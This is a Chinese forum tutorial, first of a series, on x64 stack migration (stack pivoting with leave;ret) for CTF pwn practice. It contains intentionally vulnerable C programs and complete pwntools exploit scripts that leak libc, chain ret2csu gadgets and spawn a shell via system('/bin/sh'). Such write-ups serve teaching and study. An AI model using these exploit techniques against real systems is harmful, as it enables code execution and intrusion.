-
-
[原创]钉子户的迁徙之路(一)
-
发表于: 2024-5-7 09:51 2706
-
说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
0.开篇
栈迁移,也叫伪造栈帧,栈翻转(不相同,是栈迁移的一种形式),我本人更倾向属于伪造栈帧(fake frame
) 这种叫法,这种更为科学,只是我最早的时候是叫栈迁移,习惯了就叫栈迁移了。
栈迁移,其实就是利用leave,ret
指令将bp sp
移动到自己想要的地方,更确切一点说只是利用的 2 次leave ret
指令,而 bp,sp
在现代操作系统中负责栈,将其移动就是将栈移动,其中bp
里的值是保留前一个bp
,leave
后跟随中的ret
就能够控制ip
从而控制程序执行流,现代cpu
中已经没有mov ip xx
这种指令了,所以ret
就是最简单也最为方便的程序控制流方式, 这种技巧有很多巧妙的地方可以使用。
x64
与x86
的函数传参方式有着较大的不同, 由于x86
只需要布置内存布局即可完成函数调用,而x64
需要考虑函数调用后寄存器的变化,情况更为复杂,所以下面的例题都是以linux
中x64
程序为例,x86
只是做简要说明,有兴趣的可以自行调试,不再过多赘述。
1.栈迁移的基本原理
我们以下例题来简要说明栈迁移的基本原理(以下内容并非是去解答此题)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // migration.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int dofunc(){ char buf[8] = {}; puts ( "input:" ); read(0,buf,0x100); //puts("byebye"); return 0; } int main(){ dofunc(); return 0; } //gcc migration.c -no-pie -fno-stack-protector -o migration_x64 |
首先通过栈溢出将将栈帧布置为在 0xAABBCCDD
位置写入 0x100
字节,结尾布置leave ret
。程序会执行完函数本身的leave ret
后,rsp
变为 rbp
的值,rbp
变为 0xAABBCCDD
,下面通过 read
将 0xAABBCCDD
处栈帧布置好,再执行 read_symbols
后的 leave ret
将 rsp
变为 0xAABBCCDD
,rbp
变为 0xAABBCCDD
处的值。
在 0xAABBCCDD
处布置栈帧如下,常规性 leak func
,然后将栈迁移到更远的地方。下面只需要重复上面的内容,在 0xAABBCDDD
处写入 system("/bin/sh")
写入之后的样子如下,执行完leave ret
之后,就可以正常执行 system("/bin/sh")
整个过程相对繁琐一些,但拆开来看又非常的简单,就是利用 leave ret
逐步将栈帧移动到自己布置好的地方。但大家通过上面的说明也可以很清楚发现其中的问题
1.首先第一步布置栈帧就需要
0x30
字节的溢出,因为 read 函数参数要比 puts 多,显然不如通过:直接 leak libc 基地址 -> 返回主函数后利用栈溢出布置system("/bin/sh") -> get shell
,这种方式来的简单。2.即使要是用栈迁移,正常的函数中是无法找到
pop rdx ret
这种gadget
的,通常会使用寄存器原有的rdx
。但是,如果题目中有puts("byebye")
; 之类的步骤(如我题目中注释掉部分 ) 能够起到rdx
清零的作用。那么,这时候要是用 read 函数,往往还需要使用ret2csu
,这样栈帧就需要0x80
,远远不如直接使用puts
来的方便。3.栈迁移的地址该如何选择?是不是随便找个
bss
段就能迁移?熟悉栈迁移的大佬们都应该知道栈迁移的地址并不能紧靠有用数据的内存,因为libc
中很多库函数往往会抬高栈帧,例如puts
大概会抬高栈帧0x80
,system
大概会抬高栈帧0x200
(不同的版本不全相同)。抬高栈后会覆盖原有数据,甚至会抬高到 bss 段开头,从而失去内存写权限,对 got 表、bss 节的修改会使攻击失效。所以迁移地址需要巧妙设置,其中涉及到程序本身调用库函数的数量、使用何种输出函数、写入内容所在的位置、是否清空 stdout 等诸多选项,需要攻击者对 c 语言库函数源码(多数是glibc
)非常熟悉,或者要多次尝试才能够完成,并且在我多次源码分析之后发现不同版本 glibc 还存在细节上的差异,这对攻击者的能力要求非常高。
从上面的问题可以看出,栈迁移虽然这个技巧很有意思,但并不实用,大部分题目并不需要使用栈迁移来解决。我觉得使用栈迁移的情况有以下几种。
- 主函数不能返回(例如 :
HITCON-Training LAB6
)ret2dlresolve
需要栈帧一般都非常长,这时候选择栈迁移能很好的省去一些不必要的麻烦。- 只能溢出1个或者2个字长,这种题目就等于把:“请栈迁移”写在脸上。这种题目的特点是两次输入,也分为两种情况。
- 迁移到栈上,第1次输入是泄露地址,第2次是布置栈帧 + 迁移。
- 迁移到非栈上,1次输入是在非栈上布置栈帧,另1次迁移至非栈上,两次顺序可以互换。
对于 HITCON-Training LAB6
这个题目不作过多说明,基本技巧和上面的说明差不多,属于栈迁移的基本题目,大家可以去练习一下,它没有使用 puts
清空 rdx
,可以直接使用原有的寄存器来迁移。同样,对于 ret2dlresolve
重点还是在于 dl_runtime_resolve
的理解,迁移只是一种手段。那么,溢出字长过短就成了栈迁移大显身手的地方(当然,栈迁移的出现也是为了解决溢出长度过短的问题)。
2.一迁钉子户
对于溢出字长过短的情况,也可以有两种模式
- 可以溢出到返回地址自行布置
leave ret
- 只能溢出覆盖 rbp,必须利用原本函数中有的两次 leave ret 来完成迁移。
第一种因为能够控制返回地址,相对简单一些,而且也容易出现非预期解(后面会讨论这个问题)。我们以迁移到栈上来说明以上两种情况。
1.迁移到栈上(question_1)
1.可以覆盖返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | // question_1.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char buf[0x100] = {}; puts ( "input1:" ); read(0,buf,0x110); puts (buf); puts ( "input2:" ); read(0,buf,0x110); // 可以覆盖返回地址 return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64 |
question_1
代码为什么要这么写不再作太多解释,不是本篇文章的重点,且编译参数有无 canary
差别也不大。大家可以看出来,在 dofunc
中,buf
长度是 0x100
,写入的长度是 0x110
,可以覆盖返回地址,那么,我们能自行布置 leave ret
。第1次输入输出为了泄露栈地址,第2次为了布置栈帧和迁移,布置栈帧和迁移同时进行。payload 主要逻辑如下。
需要说明三点
- 实际中不太可能存在
pop_rdi_rsi_rdx_ret
这种gadget
,这个不是问题,我们可以使用ret2csu
。- 图中我写的是在
0xccddee00
处布置system("/bin/sh")
,这个既可以是栈上,也可以在bss
段,并不太关键。
攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './question_1_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) csu_front_addr = 0x401410 ret = pwn_script.ret(pwnfile) read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] target1_rbp = elf.bss() + 0x800 # 需要找到合适的转移目标 n = 10 # n至少要大于3 final_rbp = target1_rbp + 0x100 * n leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] # 泄露栈迁移地址 dem1 = 'input1:\n' dem2 = 'input2:\n' padding2rbp = 0x100 sa(dem1 , padding2rbp * b "a" ) ru(b 'a' * padding2rbp) pre_stack = u64(r( 6 ).ljust( 8 ,b "\x00" )) stack = pre_stack - 0x20 stack_migration_addr = stack - 0x100 print ( 'stack_addr:' , hex (stack_migration_addr)) # 使用 ret2csu 栈迁移 call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : target1_rbp, 'arg3' : 0x100 } pay_ret2csu_payload = pwn_script.ret2csu_payload(call_func, 0 , csu_front_addr, rbp = target1_rbp ,gcc_ver = 'new' ) payload1 = flat([target1_rbp , pop_rdi_ret, leak_func_got, puts_sym]) + pay_ret2csu_payload + p64(leave_ret) payload1 = payload1.ljust(padding2rbp, b 'A' ) + p64(stack_migration_addr) + p64(leave_ret) sa(dem2, payload1) leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) # 最终输出 payload = flat([final_rbp, pop_rdi_ret ,binsh_addr, ret , system_addr]) sl(payload) itr() |
1.只能覆盖 rbp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | //question_1.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char b[0x100] = {}; puts ( "input1:" ); read(0,b,0x108); puts (b); puts ( "input2:" ); read(0,b,0x108); // 只能覆盖到 rbp return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_1.c -fno-stack-protector -no-pie -o question_1_x64 |
相对于可以覆盖返回地址,只能覆盖到 rbp
的情况更为复杂,需要说明三点。
- 我们无法再返回地址布置 leave ret ,这个不是问题,我们可以分别利用
dofunc
和main
的两次leave ret
来实现栈迁移。- 我在题目中的 main 函数故意加了
puts(byebye)
目的就是为栈上的数据带来污染,使得无法直接使用ret2csu
。对于这个问题,我们可以返回到main
函数再次执行,题目中栈的高度足够运行。- 由于第二点的存在,后面的
system("/bin/sh")
只能布置在栈上。
攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_3_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) csu_front_addr = 0x401420 ret = pwn_script.ret(pwnfile) read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] dofunc_addr = elf.symbols[ "dofunc" ] main_addr = elf.symbols[ "main" ] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] dem1 = 'input1:\n' dem2 = 'input2:\n' # 泄露栈迁移地址 padding2rbp = 0x100 sa(dem1 , padding2rbp * b "a" ) ru(b 'a' * padding2rbp) pre_stack = u64(r( 6 ).ljust( 8 ,b "\x00" )) stack = pre_stack - 0x20 stack_migration_addr = stack - 0x100 duchao_pwn_script.dbg(io) print ( 'stack_addr:' , hex (stack_migration_addr)) # 栈迁移,返回到 main 函数 payload1 = flat([stack , pop_rdi_ret, leak_func_got, puts_sym , main_addr]) payload1 = payload1.ljust(padding2rbp, b 'A' ) + p64(stack_migration_addr) sa(dem2 , payload1) ru( '\n' ) ru( '\n' ) leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) # 利用第一次输入调整一下栈帧,方便攻击 sa(dem1 , padding2rbp * b "a" ) ru(b 'a' * padding2rbp) pre_stack = u64(r( 6 ).ljust( 8 ,b "\x00" )) stack = pre_stack - 0x20 stack_migration_addr = stack - 0x100 # 最终输出 payload = flat([stack, pop_rdi_ret ,binsh_addr, ret , system_addr]) payload = payload.ljust(padding2rbp, b 'A' ) + p64(stack_migration_addr) sa(dem2,payload) itr() |
总结:
- 可以覆盖返回地址的情况更为简单
- 如果主程序有调用,可以使用 1.2 的攻击思路来攻击 1.1
- 主程序中如果在迁移后有
puts(byebye)
之类的步骤,将会对栈上的数据带来了污染,这就使得 1.2 的情况适用度不高,需要buf
的输入数据足够长或者有二次调用才可以。
(当然,我们还有其他方式来处理,将在后面进行讨论)
2.迁移到非栈上(question_2
)
由于迁移到非栈上,主要难点是在迁移后栈帧的布置,如果能够覆盖返回地址,将出现多种非预期解。所以,我们在处理迁移到非栈上的问题时,让 buf
只能溢出覆盖 rbp
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | // question_2.c #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define LEN 0x100 char migration[LEN]; int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char buf[8] = {}; puts ( "input1:" ); read(0,migration,LEN); puts ( "input2:" ); read(0,buf,0x10); // 只能覆盖到 rbp return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_2.c -fno-stack-protector -no-pie -o question_2_x64 |
大家可以看出来,在 dofunc
中,buf
长度是 0x8
,写入的长度是 0x10
,只能覆盖到 rbp
,同样是利用 dofunc
和 main
的 leave ret
来实现栈迁移,不同的是第1次输入的是布置的栈帧,第2次输入是为了迁移。参照迁移到栈上的方法,攻击逻辑如下
需要说明三点
- 我在题目中的
main
函数故意加了puts(byebye);
目的就是为栈上的数据带来污染,使得无法直接使用ret2csu
,只能返回函数重新执行- 我故意将第一次输出作为布置迁移后的栈帧,所以第二次
puts("input2:");
也会污染栈数据。- 因为利用
dofunc
和main
的leave ret
来实现栈迁移,所以最后system("/bin/sh")
只能在migration
处。
攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './question_2_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] migration = elf.symbols[ 'migration' ] # 题目要求写入的地址 dofunc_addr = elf.symbols[ 'dofunc' ] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] # 一、布置栈帧 按照题目要求利用 leave ret 必须迁移到 migration 处 padding2rbp = 8 payload_buf = flat([ 'a' * padding2rbp , migration]) payload4search = flat([ 0xdeadbeef , pop_rdi_ret , leak_func_got , puts_sym , dofunc_addr , leave_ret ]) sa( 'input1:\n' ,payload4search) sa( 'input2:\n' ,payload_buf) # 二、找到 libc 地址 ru( "\n" ) leak_func_addr = u64(r( 6 )[ 0 : 6 ].ljust( 8 ,b '\x00' )) system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) # 三、再次迁移到更远的地方执行 system("/bin/sh") payload_migration = flat([ 0xdeadbeef , pop_rdi_ret , binsh_addr , system_addr]) sa( 'input1:\n' ,payload_migration) payload_buf = flat([ 'a' * padding2rbp , migration]) sa( 'input2:\n' ,payload_buf) itr() |
**实际调试中肯定是无法完成攻击的。**这主要是因为 puts
会抬高 0x80
的栈帧,抬高的栈帧已经达到 data
段,不具备可写的权限,现实中还可能出现修改 stdin、stdout、stderr
导致输出异常。并且,后面的 system("/bin/sh")
需要的栈帧更长(大约为0x200
)。那么我们不能直接迁移到 migration
处,需要再远一点,攻击思路如下。
- 迁移到
migration+0x80
或者更远处布置栈帧泄露libc
地址- 利用
ret2csu
在bss
段更远的地方布置system("/bin/sh")
- 迁移到布置好的栈帧位置。
攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './question_2_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile dem1 = b 'input1:\n' dem2 = b 'input2:\n' pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) ret = pwn_script.ret(pwnfile) csu_front_addr = 0x4012D0 read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] migration = elf.symbols[ 'migration' ] # 题目要求写入的地址 target1_rbp = elf.bss() + 0x800 #需要测试得出 n = 8 # n至少要大于3 final_rbp = target1_rbp + 0x100 * n leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] # 一、布置栈帧 按照题目要求利用 leave ret 必须迁移到 migration 处 #pwn_script.dbg(io) padding2rbp = 8 align = 0x68 payload_buf = flat([ 'a' * padding2rbp , migration + align - 8 ]) call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : target1_rbp, 'arg3' : 0x100 } pay_ret2csu = pwn_script.ret2csu_payload(call_func, 0 , csu_front_addr, rbp = target1_rbp , gcc_ver = 'new' ) payload_migration = flat([pop_rdi_ret , leak_func_got , puts_sym]) + pay_ret2csu + p64(leave_ret) payload_migration = b "a" * align + payload_migration # pwn_script.dbg(io) sa(dem1 , payload_migration) sa(dem2, payload_buf) #ru('byebye\n') # 由于迁移栈,byebye 已经打印不出来 ru( '\n' ) # 二、找到 libc 地址 leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) print ( "system_addr is :" , hex (system_addr)) print ( "binsh_addr is :" , hex (binsh_addr)) ru( '\n' ) # 四、写入 system + binsh payload3 = flat([final_rbp , pop_rdi_ret , binsh_addr , ret ,system_addr]) #sleep(1) s(payload3) itr() |
上面两种情况是栈迁移的两种基本情况。既然是涉及到栈,那么无法绕过的就是栈帧长度的问题,而且栈迁移多数就是问了解决栈帧不够长,那么长度必然就成了我们需要仔细研究的问题,上面的问题中为了说明,我将输入的长度都设置为 0x100
,现在我们就来研究一下栈迁移过程中栈帧长短的问题。敬请关注下一篇《二迁钉子户》
3.二迁钉子户
1. 栈上的回头反打(question_3)
我们再看看迁移到栈上的情况,在处理 question_1
中可以覆盖返回地址的时候,有经验的老手已经发现了问题所在,我们在 puts
函数后直接使用了ret2csu
所以内容很长,实际上我们的栈帧布置可以在 puts
后返回 dofunc
函数,那么我们所需要的栈帧就可以很短。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | // question_3.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char b[0x20] = {}; puts ( "input1:" ); read(0,b,0x30); puts (b); puts ( "input2:" ); read(0,b,0x30); // 可以覆盖返回地址 return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_3.c -fno-stack-protector -no-pie -o question_3_x64 |
这个与只能覆盖 rbp
的情况差距不带,不再过多赘述,攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './question_3_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) ret = pwn_script.ret(pwnfile) read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] dofunc = elf.symbols[ 'dofunc' ] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] dem1 = 'input1:\n' dem2 = 'input2:\n' # 泄露栈迁移地址 padding2rbp = 0x20 pwn_script.dbg(io) sa(dem1 , padding2rbp * b "a" ) ru(b 'a' * padding2rbp) pre_stack = u64(r( 6 ).ljust( 8 ,b "\x00" )) stack = pre_stack - 0x20 stack_migration_addr = stack - padding2rbp print ( 'stack_addr:' , hex (stack_migration_addr)) # 迁移后返回 dofunc payload1 = flat([pop_rdi_ret, leak_func_got, puts_sym , dofunc]) payload1 = payload1.ljust(padding2rbp, b 'A' ) + p64(stack_migration_addr - 0x8 ) + p64(leave_ret) sa(dem2, payload1) leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) # 重复上面的步骤 sa(dem1 , b "deadbeef" ) payload2 = flat([pop_rdi_ret ,binsh_addr, ret , system_addr]) payload2 = payload2.ljust(padding2rbp, b 'A' ) + p64(stack_migration_addr - 0x10 ) + p64(leave_ret) sa(dem2,payload2) itr() |
2. 非栈上的二阶栈迁移(question_4
)
在 question_2
中 migration
长度为 0x100
,在问题分析中也指出由于 puts
会抬高 0x80
的栈帧,我们必须迁移到更深处,那么问题来了,如果 migration
长度为 0xa0
甚至更小,已经不能布置 puts
函数,那么该如何攻击?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | // question_4.c #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define LEN 0xa0 char migration[LEN]; int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char buf[8] = {}; puts ( "input1:" ); read(0,migration,LEN); puts ( "input2:" ); read(0,buf,0x10); return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_4.c -fno-stack-protector -no-pie -o question_4_x64 |
这时我们的需要转变攻击思路,不能盯着 migration
不放,既然 migration
不能直接泄露函数,我们按照栈迁移的基本原理先将栈从 migration
处迁移到可以正常布置栈帧的地方再重复上面的步骤进行攻击,我将其称之为二阶栈迁移,攻击思路如下
攻击过程中需要注意以下迁移的位置。
程序
bss
段毕竟长度有限,绝大多数库函数都需要一定的栈帧,尤其是system
函数需要0x200
,并且bss
段前面可能还有一些程序需要的数据,所以迁移的位置需要一定的考量。
攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | from pwn import * import pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' pwn_script.init_pwn_linux(pwn_arch) pwnfile = './question_4_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = pwn_script.pop_rdi_ret(pwnfile) leave_ret = pwn_script.leave_ret(pwnfile) ret = pwn_script.ret(pwnfile) csu_front_addr = 0x401288 dem1 = 'input1:\n' dem2 = 'input2:\n' read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] migration = elf.symbols[ 'migration' ] # 题目要求写入的地址 target1_rbp = elf.bss() + 0x200 #需要测试得出 n = 8 # n至少要大于3 final_rbp = target1_rbp + 0x100 * n leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] # 一、布置栈帧,按照题目要求利用 leave ret 必须迁移到 migration 处 padding2rbp = 8 payload_buf = flat([ 'a' * padding2rbp , migration]) # 二、利用 ret2csu 二阶栈迁移非常保险, 栈迁移的距离很有讲究 原则上能大则大 call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : target1_rbp, 'arg3' : 0x100 } pay_ret2csu = pwn_script.ret2csu_payload(call_func, 0 , csu_front_addr , rbp = target1_rbp , gcc_ver = 'new' ) payload_migration = flat([target1_rbp , pay_ret2csu , leave_ret]) sa(dem1, payload_migration) sa(dem2, payload_buf) pause() #ru('byebye\n') # 由于迁移栈,byebye 已经打印不出来 # 三、泄露 libc 基地址 target2_ebp = target1_rbp + 0x500 call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : target2_ebp, 'arg3' : 0x100 } pay_ret2csu = pwn_script.ret2csu_payload(call_func , 0 ,csu_front_addr , rbp = target2_ebp , gcc_ver = 'new' ) payload3 = flat([target2_ebp , pop_rdi_ret , leak_func_got , puts_sym , pay_ret2csu , leave_ret]) sl(payload3) ru( "\n" ) # pause() leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) system_addr, binsh_addr = pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) # 四、写入 system + binsh payload3 = flat([final_rbp , pop_rdi_ret , binsh_addr , ret ,system_addr]) sl(payload3) itr() |
由于 ret2csu
长度为 0x80
所以,只要迁移处的长度大于这个 0x80
就能够依靠二阶栈迁移可以实现通杀。
**综上所述,**上面的情况已经相比于第一次迁移时短了很多,但还不能让我们满意,尤其是迁移到非栈上的情况,还需要至少 0x80
的迁移空间,有什么办法能让它再变短一些呢?敬请关注下《三迁钉子户》
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!
赞赏
- [原创]钉子户的迁徙之路(四) 1674
- [原创]钉子户的迁徙之路(三) 894
- 钉子户的迁徙之路(二) 2690
- [原创]钉子户的迁徙之路(一) 2707
- [原创]无路远征——GLIBC2.37后时代的IO攻击之道(终章)house_of_碎碎念 19360